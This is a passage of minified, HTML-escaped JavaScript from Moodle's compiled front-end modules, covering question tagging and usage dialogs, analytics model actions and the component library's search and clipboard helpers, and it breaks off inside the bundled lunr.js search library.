 * @copyright  2018 Simey Lameze &lt;simey@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;qbank_tagquestion/edit_tags&quot;,[&quot;jquery&quot;,&quot;core/fragment&quot;,&quot;core/str&quot;,&quot;core/modal_events&quot;,&quot;core/modal_factory&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;qbank_tagquestion/repository&quot;,&quot;qbank_tagquestion/selectors&quot;],(function($,Fragment,Str,ModalEvents,ModalFactory,Notification,CustomEvents,Repository,QuestionSelectors){var enableSaveButton=function(root){root.find(QuestionSelectors.actions.save).prop(&quot;disabled&quot;,!1)},disableSaveButton=function(root){root.find(QuestionSelectors.actions.save).prop(&quot;disabled&quot;,!0)},startLoading=function(root){root.find(QuestionSelectors.containers.loadingIcon).removeClass(&quot;hidden&quot;)},stopLoading=function(root){root.find(QuestionSelectors.containers.loadingIcon).addClass(&quot;hidden&quot;)},save=function(modal,root){disableSaveButton(root),startLoading(root);var formData=function(modal){return modal.getBody().find(&quot;form&quot;).serialize()}(modal),questionId=function(modal){return modal.getBody().data(&quot;questionid&quot;)}(modal),contextId=function(modal){return modal.getBody().data(&quot;contextid&quot;)}(modal);return Repository.submitTagCreateUpdateForm(questionId,contextId,formData).always((function(){stopLoading(root),enableSaveButton(root)})).fail(Notification.exception)};return{init:function(root){!function(root){var modalPromise=ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL,large:!1},[root,QuestionSelectors.actions.edittags]).then((function(modal){return Str.get_string(&quot;questiontags&quot;,&quot;question&quot;).then((function(string){return modal.setTitle(string),string})).fail(Notification.exception),modal.getRoot().on(ModalEvents.save,(function(e){modal.getBody().find(&quot;form&quot;).submit(),e.preventDefault()})),modal.getRoot().on(&quot;submit&quot;,&quot;form&quot;,(function(e){save(modal,root).then((function(){modal.hide(),location.reload()})).fail(Notification.exception),e.preventDefault(),e.stopPropagation()})),modal}));root.on(CustomEvents.events.activate,QuestionSelectors.actions.edittags,(function(e){var currentTarget=$(e.currentTarget),questionId=currentTarget.data(&quot;questionid&quot;),canTag=!!currentTarget.data(&quot;cantag&quot;),contextId=currentTarget.data(&quot;contextid&quot;);modalPromise.then((function(modal){disableSaveButton(root),startLoading(root);var args={id:questionId},tagsFragment=Fragment.loadFragment(&quot;qbank_tagquestion&quot;,&quot;tags_form&quot;,contextId,args);return modal.setBody(tagsFragment),tagsFragment.then((function(){enableSaveButton(root)})).always((function(){stopLoading(root)})).fail(Notification.exception),canTag?modal.getRoot().find(QuestionSelectors.actions.save).show():modal.getRoot().find(QuestionSelectors.actions.save).hide(),function(modal,questionId){modal.getBody().attr(&quot;data-questionid&quot;,questionId)}(modal,questionId),function(modal,contextId){modal.getBody().attr(&quot;data-contextid&quot;,contextId)}(modal,contextId),modal})).fail(Notification.exception),e.preventDefault()}))}(root=$(root))}}}));
/**
 * A javascript module to handle question ajax actions.
 *
 * @module     qbank_tagquestion/repository
 * @class      repository
 * @copyright  2017 Simey Lameze &lt;lameze@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;qbank_tagquestion/repository&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;],(function($,Ajax){return{submitTagCreateUpdateForm:function(questionId,contextId,formdata){var request={methodname:&quot;qbank_tagquestion_submit_tags_form&quot;,args:{questionid:questionId,contextid:contextId,formdata:formdata}};return Ajax.call([request])[0]}}}));
/**
 * The purpose of this module is to centralize selectors related to question.
 *
 * @module     qbank_tagquestion/question_selectors
 * @copyright  2018 Simey Lameze &lt;lameze@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;qbank_tagquestion/selectors&quot;,[],(function(){return{actions:{save:&#039;[data-action=&quot;save&quot;]&#039;,edittags:&#039;[data-action=&quot;edittags&quot;]&#039;},containers:{loadingIcon:&#039;[data-region=&quot;overlay-icon-container&quot;]&#039;}}}));
define(&quot;qbank_usage/usage&quot;,[&quot;exports&quot;,&quot;core/fragment&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/notification&quot;],(function(_exports,_fragment,Str,_modal_factory,_notification){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Usage column selector js.
   *
   * @module     qbank_usage/usage
   * @copyright  2021 Catalyst IT Australia Pty Ltd
   * @author     Safat Shahin &lt;safatshahin@catalyst-au.net&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_fragment=_interopRequireDefault(_fragment),Str=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(Str),_modal_factory=_interopRequireDefault(_modal_factory),_notification=_interopRequireDefault(_notification);const getFragment=(args,contextId)=&gt;_fragment.default.loadFragment(&quot;qbank_usage&quot;,&quot;question_usage&quot;,contextId,args);_exports.init=(questionSelector,contextId)=&gt;{let target=document.querySelector(questionSelector),questionId=target.getAttribute(&quot;data-questionid&quot;);target.addEventListener(&quot;click&quot;,(()=&gt;{((questionId,contextId)=&gt;{let args={questionid:questionId};_modal_factory.default.create({type:_modal_factory.default.types.CANCEL,title:Str.get_string(&quot;usageheader&quot;,&quot;qbank_usage&quot;),body:getFragment(args,contextId),large:!0}).then((modal=&gt;(modal.show(),modal.getRoot().on(&quot;click&quot;,&quot;a[href].page-link&quot;,(function(e){e.preventDefault();let attr=e.target.getAttribute(&quot;href&quot;);&quot;#&quot;!==attr&amp;&amp;(args.querystring=attr,modal.setBody(getFragment(args,contextId)))})),modal))).fail(_notification.default.exception)})(questionId,contextId)}))}}));
/**
 * AMD module for model actions confirmation.
 *
 * @module     tool_analytics/model
 * @copyright  2017 David Monllao
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_analytics/model&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/log&quot;,&quot;core/notification&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/templates&quot;],(function($,Str,log,Notification,ModalFactory,ModalEvents,Templates){var actionsList={clear:{title:{key:&quot;clearpredictions&quot;,component:&quot;tool_analytics&quot;},body:{key:&quot;clearmodelpredictions&quot;,component:&quot;tool_analytics&quot;}},delete:{title:{key:&quot;delete&quot;,component:&quot;tool_analytics&quot;},body:{key:&quot;deletemodelconfirmation&quot;,component:&quot;tool_analytics&quot;}}};return{confirmAction:function(actionId,actionType){$(&#039;[data-action-id=&quot;&#039;+actionId+&#039;&quot;]&#039;).on(&quot;click&quot;,(function(ev){ev.preventDefault();var a=$(ev.currentTarget);if(void 0!==actionsList[actionType]){var wrap,reqStrings=[actionsList[actionType].title,actionsList[actionType].body];reqStrings[1].param=(wrap=$(a).closest(&quot;[data-model-name]&quot;)).length?wrap.attr(&quot;data-model-name&quot;):(log.error(&quot;Unexpected DOM error - unable to obtain the model name&quot;),&quot;&quot;);var stringsPromise=Str.get_strings(reqStrings),modalPromise=ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL});$.when(stringsPromise,modalPromise).then((function(strings,modal){return modal.setTitle(strings[0]),modal.setBody(strings[1]),modal.setSaveButtonText(strings[0]),modal.getRoot().on(ModalEvents.save,(function(){window.location.href=a.attr(&quot;href&quot;)})),modal.show(),modal})).fail(Notification.exception)}else log.error(&#039;Action &quot;&#039;+actionType+&#039;&quot; is not allowed.&#039;)}))},selectEvaluationOptions:function(actionId,trainedOnlyExternally){$(&#039;[data-action-id=&quot;&#039;+actionId+&#039;&quot;]&#039;).on(&quot;click&quot;,(function(ev){ev.preventDefault();var a=$(ev.currentTarget),timeSplittingMethods=$(this).attr(&quot;data-timesplitting-methods&quot;),stringsPromise=Str.get_strings([{key:&quot;evaluatemodel&quot;,component:&quot;tool_analytics&quot;},{key:&quot;evaluate&quot;,component:&quot;tool_analytics&quot;}]),modalPromise=ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL}),bodyPromise=Templates.render(&quot;tool_analytics/evaluation_options&quot;,{trainedexternally:trainedOnlyExternally,timesplittingmethods:JSON.parse(timeSplittingMethods)});$.when(stringsPromise,modalPromise).then((function(strings,modal){return modal.getRoot().on(ModalEvents.hidden,modal.destroy.bind(modal)),modal.setTitle(strings[0]),modal.setSaveButtonText(strings[1]),modal.setBody(bodyPromise),modal.getRoot().on(ModalEvents.save,(function(){&quot;trainedmodel&quot;==$(&quot;input[name=&#039;evaluationmode&#039;]:checked&quot;).val()&amp;&amp;a.attr(&quot;href&quot;,a.attr(&quot;href&quot;)+&quot;&amp;mode=trainedmodel&quot;);var timeSplittingMethod=$(&quot;#id-evaluation-timesplitting&quot;).val();a.attr(&quot;href&quot;,a.attr(&quot;href&quot;)+&quot;&amp;timesplitting=&quot;+timeSplittingMethod),window.location.href=a.attr(&quot;href&quot;)})),modal.show(),modal})).fail(Notification.exception)}))},selectExportOptions:function(actionId,isTrained){$(&#039;[data-action-id=&quot;&#039;+actionId+&#039;&quot;]&#039;).on(&quot;click&quot;,(function(ev){ev.preventDefault();var a=$(ev.currentTarget);if(!isTrained)return a.attr(&quot;href&quot;,a.attr(&quot;href&quot;)+&quot;&amp;action=exportmodel&amp;includeweights=0&quot;),void(window.location.href=a.attr(&quot;href&quot;));var stringsPromise=Str.get_strings([{key:&quot;export&quot;,component:&quot;tool_analytics&quot;}]),modalPromise=ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL}),bodyPromise=Templates.render(&quot;tool_analytics/export_options&quot;,{});$.when(stringsPromise,modalPromise).then((function(strings,modal){return modal.getRoot().on(ModalEvents.hidden,modal.destroy.bind(modal)),modal.setTitle(strings[0]),modal.setSaveButtonText(strings[0]),modal.setBody(bodyPromise),modal.getRoot().on(ModalEvents.save,(function(){&quot;exportdata&quot;==$(&quot;input[name=&#039;exportoption&#039;]:checked&quot;).val()?a.attr(&quot;href&quot;,a.attr(&quot;href&quot;)+&quot;&amp;action=exportdata&quot;):(a.attr(&quot;href&quot;,a.attr(&quot;href&quot;)+&quot;&amp;action=exportmodel&quot;),$(&quot;#id-includeweights&quot;).is(&quot;:checked&quot;)?a.attr(&quot;href&quot;,a.attr(&quot;href&quot;)+&quot;&amp;includeweights=1&quot;):a.attr(&quot;href&quot;,a.attr(&quot;href&quot;)+&quot;&amp;includeweights=0&quot;)),window.location.href=a.attr(&quot;href&quot;)})),modal.show(),modal})).fail(Notification.exception)}))}}}));
/**
 * Potential contexts selector module.
 *
 * @module     tool_analytics/potential-contexts
 * @copyright  2019 David Monllao
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_analytics/potential-contexts&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;],(function($,Ajax){return{processResults:function(selector,results){var contexts=[];return $.isArray(results)?($.each(results,(function(index,context){contexts.push({value:context.id,label:context.name})})),contexts):results},transport:function(selector,query,success,failure){let modelid=$(selector).attr(&quot;modelid&quot;)||null;Ajax.call([{methodname:&quot;tool_analytics_potential_contexts&quot;,args:{query:query,modelid:modelid}}])[0].then(success).fail(failure)}}}));
/**
 * Shows a dialogue with info about this logs.
 *
 * @module     tool_analytics/log_info
 * @copyright  2017 David Monllao {@link http://www.davidmonllao.com}
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;tool_analytics/log_info&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/modal_factory&quot;,&quot;core/notification&quot;],(function($,str,ModalFactory,Notification){return{loadInfo:function(id,info){var link=$(&#039;[data-model-log-id=&quot;&#039;+id+&#039;&quot;]&#039;);str.get_string(&quot;loginfo&quot;,&quot;tool_analytics&quot;).then((function(langString){var bodyInfo=$(&quot;&lt;ul&gt;&quot;);return info.forEach((function(item){bodyInfo.append(&quot;&lt;li&gt;&quot;+item+&quot;&lt;/li&gt;&quot;)})),bodyInfo.append(&quot;&lt;/ul&gt;&quot;),ModalFactory.create({title:langString,body:bodyInfo.html(),large:!0},link)})).catch(Notification.exception)}}}));
define(&quot;tool_componentlibrary/search&quot;,[&quot;exports&quot;,&quot;tool_componentlibrary/lunr&quot;,&quot;tool_componentlibrary/selectors&quot;,&quot;core/log&quot;,&quot;core/notification&quot;,&quot;core/key_codes&quot;],(function(_exports,_lunr,_selectors,_log,_notification,_key_codes){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Interface to the Lunr search engines.
   *
   * @module     tool_componentlibrary/search
   * @copyright  2021 Bas Brands &lt;bas@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.search=void 0,_lunr=_interopRequireDefault(_lunr),_selectors=_interopRequireDefault(_selectors),_log=_interopRequireDefault(_log),_notification=_interopRequireDefault(_notification);let lunrIndex=null,pagesIndex=null;const initLunr=jsonFile=&gt;{(async jsonFile=&gt;{const response=await fetch(jsonFile);return response.ok||_log.default.debug(&quot;Error getting Hugo index file: &quot;.concat(response.status)),await response.json()})(jsonFile).then((jsondata=&gt;(pagesIndex=jsondata,lunrIndex=(0,_lunr.default)((function(){this.ref(&quot;uri&quot;),this.field(&quot;title&quot;,{boost:10}),this.field(&quot;content&quot;),this.field(&quot;tags&quot;,{boost:5}),jsondata.forEach((p=&gt;{this.add(p)}))})),null))).catch(_notification.default.exception)},searchIndex=query=&gt;lunrIndex.search(query+&quot; &quot;+query+&quot;*&quot;).map((result=&gt;pagesIndex.filter((page=&gt;page.uri===result.ref))[0])),renderResults=results=&gt;{const dropdownMenu=document.querySelector(_selectors.default.dropdownmenu);if(!results.length)return void dropdownMenu.classList.remove(&quot;show&quot;);dropdownMenu.innerHTML=&quot;&quot;;const baseUrl=M.cfg.wwwroot+&quot;/admin/tool/componentlibrary/docspage.php&quot;;results.slice(0,10).forEach((function(result){const link=document.createElement(&quot;a&quot;),chapter=result.uri.split(&quot;/&quot;)[1];link.appendChild(document.createTextNode(&quot;&quot;.concat(chapter,&quot; &gt; &quot;).concat(result.title))),link.classList.add(&quot;dropdown-item&quot;),link.href=baseUrl+result.uri,dropdownMenu.appendChild(link)})),dropdownMenu.classList.add(&quot;show&quot;)};_exports.search=jsonFile=&gt;{initLunr(jsonFile),(()=&gt;{const searchInput=document.querySelector(_selectors.default.searchinput);searchInput.addEventListener(&quot;keyup&quot;,(e=&gt;{const query=e.currentTarget.value;query.length&lt;2?document.querySelector(_selectors.default.dropdownmenu).classList.remove(&quot;show&quot;):renderResults(searchIndex(query))})),searchInput.addEventListener(&quot;keydown&quot;,(e=&gt;{e.keyCode===_key_codes.enter&amp;&amp;e.preventDefault(),e.keyCode===_key_codes.escape&amp;&amp;(searchInput.value=&quot;&quot;)}))})()}}));
define(&quot;tool_componentlibrary/jsrunner&quot;,[&quot;exports&quot;,&quot;tool_componentlibrary/selectors&quot;],(function(_exports,_selectors){var obj;
/**
   * Run the JS required for example code to work in the library.
   *
   * @module     tool_componentlibrary/jsrunner
   * @copyright  2021 Bas Brands &lt;bas@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.jsRunner=void 0,_selectors=(obj=_selectors)&amp;&amp;obj.__esModule?obj:{default:obj};_exports.jsRunner=()=&gt;{document.querySelector(_selectors.default.componentlibrary).querySelectorAll(_selectors.default.jscode).forEach((runjs=&gt;{const script=document.createElement(&quot;script&quot;);script.type=&quot;text/javascript&quot;,script.innerHTML=runjs.textContent,document.head.appendChild(script)}))}}));
define(&quot;tool_componentlibrary/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;return _exports.default={clipboardbutton:&quot;.btn-clipboard&quot;,clipboardcontent:&quot;figure.highlight, div.highlight&quot;,searchinput:&#039;[data-region=&quot;docsearch&quot;] input&#039;,searchsubmit:&#039;[data-region=&quot;docsearch&quot;] .btn-submit&#039;,dropdownmenu:&#039;[data-region=&quot;docsearch&quot;] .dropdown-menu&#039;,componentlibrary:&#039;[data-region=&quot;componentlibrary&quot;]&#039;,jscode:&#039;[data-action=&quot;runjs&quot;]&#039;,mustachecode:&#039;[data-region=&quot;mustachecode&quot;]&#039;,mustacherawcontext:&#039;[data-region=&quot;rawcontext&quot;]&#039;,mustacherendered:&#039;[data-region=&quot;mustacherendered&quot;]&#039;,mustachesource:&#039;[data-region=&quot;mustachesource&quot;]&#039;,mustachecontext:&#039;[data-region=&quot;mustachecontext&quot;]&#039;},_exports.default}));
define(&quot;tool_componentlibrary/clipboardwrapper&quot;,[&quot;exports&quot;,&quot;core/copy_to_clipboard&quot;,&quot;tool_componentlibrary/selectors&quot;,&quot;core/templates&quot;],(function(_exports,_copy_to_clipboard,_selectors,_templates){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Wrapper to ensure that all Hugo example snippets have a &quot;Copy to clipboard&quot; button.
   *
   * @module     tool_componentlibrary/clipboardwrapper
   * @copyright  2021 Bas Brands &lt;bas@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.clipboardWrapper=void 0,_selectors=_interopRequireDefault(_selectors),_templates=_interopRequireDefault(_templates);let idCounter=0;_exports.clipboardWrapper=async()=&gt;{document.querySelectorAll(_selectors.default.clipboardcontent).forEach((element=&gt;{element.id||(element.id=&quot;tool_componentlibrary_content-&quot;.concat(idCounter++)),_templates.default.renderForPromise(&quot;tool_componentlibrary/clipboardbutton&quot;,{clipboardtarget:&quot;#&quot;.concat(element.id,&quot; code&quot;)}).then((_ref=&gt;{let{html:html,js:js}=_ref;_templates.default.prependNodeContents(element,html,js)})).catch()}))}}));
/**
 * lunr - http://lunrjs.com - A bit like Solr, but much smaller and not as bright - 2.3.9
 * Copyright (C) 2020 Oliver Nightingale
 * @license MIT
 */
!function(){var global,step2list,step3list,v,C,re_mgr0,re_mgr1,re_meq1,re_s_v,re_1a,re2_1a,re_1b,re2_1b,re_1b_2,re2_1b_2,re3_1b_2,re4_1b_2,re_1c,re_2,re_3,re_4,re2_4,re_5,re_5_1,re3_5,porterStemmer,root,factory,lunr=function(config){var builder=new lunr.Builder;return builder.pipeline.add(lunr.trimmer,lunr.stopWordFilter,lunr.stemmer),builder.searchPipeline.add(lunr.stemmer),config.call(builder,builder),builder.build()};lunr.version=&quot;2.3.9&quot;,lunr.utils={},lunr.utils.warn=(global=this,function(message){global.console&amp;&amp;console.warn&amp;&amp;console.warn(message)}),lunr.utils.asString=function(obj){return null==obj?&quot;&quot;:obj.toString()},lunr.utils.clone=function(obj){if(null==obj)return obj;for(var clone=Object.create(null),keys=Object.keys(obj),i=0;i&lt;keys.length;i++){var key=keys[i],val=obj[key];if(Array.isArray(val))clone[key]=val.slice();else{if(&quot;string&quot;!=typeof val&amp;&amp;&quot;number&quot;!=typeof val&amp;&amp;&quot;boolean&quot;!=typeof val)throw new TypeError(&quot;clone is not deep and does not support nested objects&quot;);clone[key]=val}}return clone},lunr.FieldRef=function(docRef,fieldName,stringValue){this.docRef=docRef,this.fieldName=fieldName,this._stringValue=stringValue},lunr.FieldRef.joiner=&quot;/&quot;,lunr.FieldRef.fromString=function(s){var n=s.indexOf(lunr.FieldRef.joiner);if(-1===n)throw&quot;malformed field ref string&quot;;var fieldRef=s.slice(0,n),docRef=s.slice(n+1);return new lunr.FieldRef(docRef,fieldRef,s)},lunr.FieldRef.prototype.toString=function(){return null==this._stringValue&amp;&amp;(this._stringValue=this.fieldName+lunr.FieldRef.joiner+this.docRef),this._stringValue},lunr.Set=function(elements){if(this.elements=Object.create(null),elements){this.length=elements.length;for(var i=0;i&lt;this.length;i++)this.elements[elements[i]]=!0}else this.length=0},lunr.Set.complete={intersect:function(other){return other},union:function(){return this},contains:function(){return!0}},lunr.Set.empty={intersect:function(){return this},union:function(other){return other},contains:function(){return!1}},lunr.Set.prototype.contains=function(object){return!!this.elements[object]},lunr.Set.prototype.intersect=function(other){var a,b,elements,intersection=[];if(other===lunr.Set.complete)return this;if(other===lunr.Set.empty)return other;this.length&lt;other.length?(a=this,b=other):(a=other,b=this),elements=Object.keys(a.elements);for(var i=0;i&lt;elements.length;i++){var element=elements[i];element in b.elements&amp;&amp;intersection.push(element)}return new lunr.Set(intersection)},lunr.Set.prototype.union=function(other){return other===lunr.Set.complete?lunr.Set.complete:other===lunr.Set.empty?this:new lunr.Set(Object.keys(this.elements).concat(Object.keys(other.elements)))},lunr.idf=function(posting,documentCount){var documentsWithTerm=0;for(var fieldName in posting)&quot;_index&quot;!=fieldName&amp;&amp;(documentsWithTerm+=Object.keys(posting[fieldName]).length);var x=(documentCount-documentsWithTerm+.5)/(documentsWithTerm+.5);return Math.log(1+Math.abs(x))},lunr.Token=function(str,metadata){this.str=str||&quot;&quot;,this.metadata=metadata||{}},lunr.Token.prototype.toString=function(){return this.str},lunr.Token.prototype.update=function(fn){return this.str=fn(this.str,this.metadata),this},lunr.Token.prototype.clone=function(fn){return fn=fn||function(s){return s},new lunr.Token(fn(this.str,this.metadata),this.metadata)},lunr.tokenizer=function(obj,metadata){if(null==obj||null==obj)return[];if(Array.isArray(obj))return obj.map((function(t){return new lunr.Token(lunr.utils.asString(t).toLowerCase(),lunr.utils.clone(metadata))}));for(var str=obj.toString().toLowerCase(),len=str.length,tokens=[],sliceEnd=0,sliceStart=0;sliceEnd&lt;=len;sliceEnd++){var sliceLength=sliceEnd-sliceStart;if(str.charAt(sliceEnd).match(lunr.tokenizer.separator)||sliceEnd==len){if(sliceLength&gt;0){var tokenMetadata=lunr.utils.clone(metadata)||{};tokenMetadata.position=[sliceStart,sliceLength],tokenMetadata.index=tokens.length,tokens.push(new lunr.Token(str.slice(sliceStart,sliceEnd),tokenMetadata))}sliceStart=sliceEnd+1}}return tokens},lunr.tokenizer.separator=/[\s\-]+/,lunr.Pipeline=function(){this._stack=[]},lunr.Pipeline.registeredFunctions=Object.create(null),lunr.Pipeline.registerFunction=function(fn,label){label in this.registeredFunctions&amp;&amp;lunr.utils.warn(&quot;Overwriting existing registered function: &quot;+label),fn.label=label,lunr.Pipeline.registeredFunctions[fn.label]=fn},lunr.Pipeline.warnIfFunctionNotRegistered=function(fn){fn.label&amp;&amp;fn.label in this.registeredFunctions||lunr.utils.warn(&quot;Function is not registered with pipeline. This may cause problems when serialising the index.\n&quot;,fn)},lunr.Pipeline.load=function(serialised){var pipeline=new lunr.Pipeline;return serialised.forEach((function(fnName){var fn=lunr.Pipeline.registeredFunctions[fnName];if(!fn)throw new Error(&quot;Cannot load unregistered function: &quot;+fnName);pipeline.add(fn)})),pipeline},lunr.Pipeline.prototype.add=function(){var fns=Array.prototype.slice.call(arguments);fns.forEach((function(fn){lunr.Pipeline.warnIfFunctionNotRegistered(fn),this._stack.push(fn)}),this)},lunr.Pipeline.prototype.after=function(existingFn,newFn){lunr.Pipeline.warnIfFunctionNotRegistered(newFn);var pos=this._stack.indexOf(existingFn);if(-1==pos)throw new Error(&quot;Cannot find existingFn&quot;);pos+=1,this._stack.splice(pos,0,newFn)},lunr.Pipeline.prototype.before=function(existingFn,newFn){lunr.Pipeline.warnIfFunctionNotRegistered(newFn);var pos=this._stack.indexOf(existingFn);if(-1==pos)throw new Error(&quot;Cannot find existingFn&quot;);this._stack.splice(pos,0,newFn)},lunr.Pipeline.prototype.remove=function(fn){var pos=this._stack.indexOf(fn);-1!=pos&amp;&amp;this._stack.splice(pos,1)},lunr.Pipeline.prototype.run=function(tokens){for(var stackLength=this._stack.length,i=0;i&lt;stackLength;i++){for(var fn=this._stack[i],memo=[],j=0;j&lt;tokens.length;j++){var result=fn(tokens[j],j,tokens);if(null!=result&amp;&amp;&quot;&quot;!==result)if(Array.isArray(result))for(var k=0;k&lt;result.length;k++)memo.push(result[k]);else memo.push(result)}tokens=memo}return tokens},lunr.Pipeline.prototype.runString=function(str,metadata){var token=new lunr.Token(str,metadata);return this.run([token]).map((function(t){return t.toString()}))},lunr.Pipeline.prototype.reset=function(){this._stack=[]},lunr.Pipeline.prototype.toJSON=function(){return this._stack.map((function(fn){return lunr.Pipeline.warnIfFunctionNotRegistered(fn),fn.label}))},lunr.Vector=function(elements){this._magnitude=0,this.elements=elements||[]},lunr.Vector.prototype.positionForIndex=function(index){if(0==this.elements.length)return 0;for(var start=0,end=this.elements.length/2,sliceLength=end-start,pivotPoint=Math.floor(sliceLength/2),pivotIndex=this.elements[2*pivotPoint];sliceLength&gt;1&amp;&amp;(pivotIndex&lt;index&amp;&amp;(start=pivotPoint),pivotIndex&gt;index&amp;&amp;(end=pivotPoint),pivotIndex!=index);)sliceLength=end-start,pivotPoint=start+Math.floor(sliceLength/2),pivotIndex=this.elements[2*pivotPoint];return pivotIndex==index||pivotIndex&gt;index?2*pivotPoint:pivotIndex&lt;index?2*(pivotPoint+1):void 0},lunr.Vector.prototype.insert=function(insertIdx,val){this.upsert(insertIdx,val,(function(){throw&quot;duplicate index&quot;}))},lunr.Vector.prototype.upsert=function(insertIdx,val,fn){this._magnitude=0;var position=this.positionForIndex(insertIdx);this.elements[position]==insertIdx?this.elements[position+1]=fn(this.elements[position+1],val):this.elements.splice(position,0,insertIdx,val)},lunr.Vector.prototype.magnitude=function(){if(this._magnitude)return this._magnitude;for(var sumOfSquares=0,elementsLength=this.elements.length,i=1;i&lt;elementsLength;i+=2){var val=this.elements[i];sumOfSquares+=val*val}return this._magnitude=Math.sqrt(sumOfSquares)},lunr.Vector.prototype.dot=function(otherVector){for(var dotProduct=0,a=this.elements,b=otherVector.elements,aLen=a.length,bLen=b.length,aVal=0,bVal=0,i=0,j=0;i&lt;aLen&amp;&amp;j&lt;bLen;)(aVal=a[i])&lt;(bVal=b[j])?i+=2:aVal&gt;bVal?j+=2:aVal==bVal&amp;&amp;(dotProduct+=a[i+1]*b[j+1],i+=2,j+=2);return dotProduct},lunr.Vector.prototype.similarity=function(otherVector){return this.dot(otherVector)/this.magnitude()||0},lunr.Vector.prototype.toArray=function(){for(var output=new Array(this.elements.length/2),i=1,j=0;i&lt;this.elements.length;i+=2,j++)output[j]=this.elements[i];return output},lunr.Vector.prototype.toJSON=function(){return this.elements},lunr.stemmer=(step2list={ational:&quot;ate&quot;,tional:&quot;tion&quot;,enci:&quot;ence&quot;,anci:&quot;ance&quot;,izer:&quot;ize&quot;,bli:&quot;ble&quot;,alli:&quot;al&quot;,entli:&quot;ent&quot;,eli:&quot;e&quot;,ousli:&quot;ous&quot;,ization:&quot;ize&quot;,ation:&quot;ate&quot;,ator:&quot;ate&quot;,alism:&quot;al&quot;,iveness:&quot;ive&quot;,fulness:&quot;ful&quot;,ousness:&quot;ous&quot;,aliti:&quot;al&quot;,iviti:&quot;ive&quot;,biliti:&quot;ble&quot;,logi:&quot;log&quot;},step3list={icate:&quot;ic&quot;,ative:&quot;&quot;,alize:&quot;al&quot;,iciti:&quot;ic&quot;,ical:&quot;ic&quot;,ful:&quot;&quot;,ness:&quot;&quot;},v=&quot;[aeiouy]&quot;,C=&quot;[^aeiou][^aeiouy]*&quot;,re_mgr0=new RegExp(&quot;^([^aeiou][^aeiouy]*)?[aeiouy][aeiou]*[^aeiou][^aeiouy]*&quot;),re_mgr1=new RegExp(&quot;^([^aeiou][^aeiouy]*)?[aeiouy][aeiou]*[^aeiou][^aeiouy]*[aeiouy][aeiou]*[^aeiou][^aeiouy]*&quot;),re_meq1=new RegExp(&quot;^([^aeiou][^aeiouy]*)?[aeiouy][aeiou]*[^aeiou][^aeiouy]*([aeiouy][aeiou]*)?$&quot;),re_s_v=new RegExp(&quot;^([^aeiou][^aeiouy]*)?[aeiouy]&quot;),re_1a=/^(.+?)(ss|i)es$/,re2_1a=/^(.+?)([^s])s$/,re_1b=/^(.+?)eed$/,re2_1b=/^(.+?)(ed|ing)$/,re_1b_2=/.$/,re2_1b_2=/(at|bl|iz)$/,re3_1b_2=new RegExp(&quot;([^aeiouylsz])\\1$&quot;),re4_1b_2=new 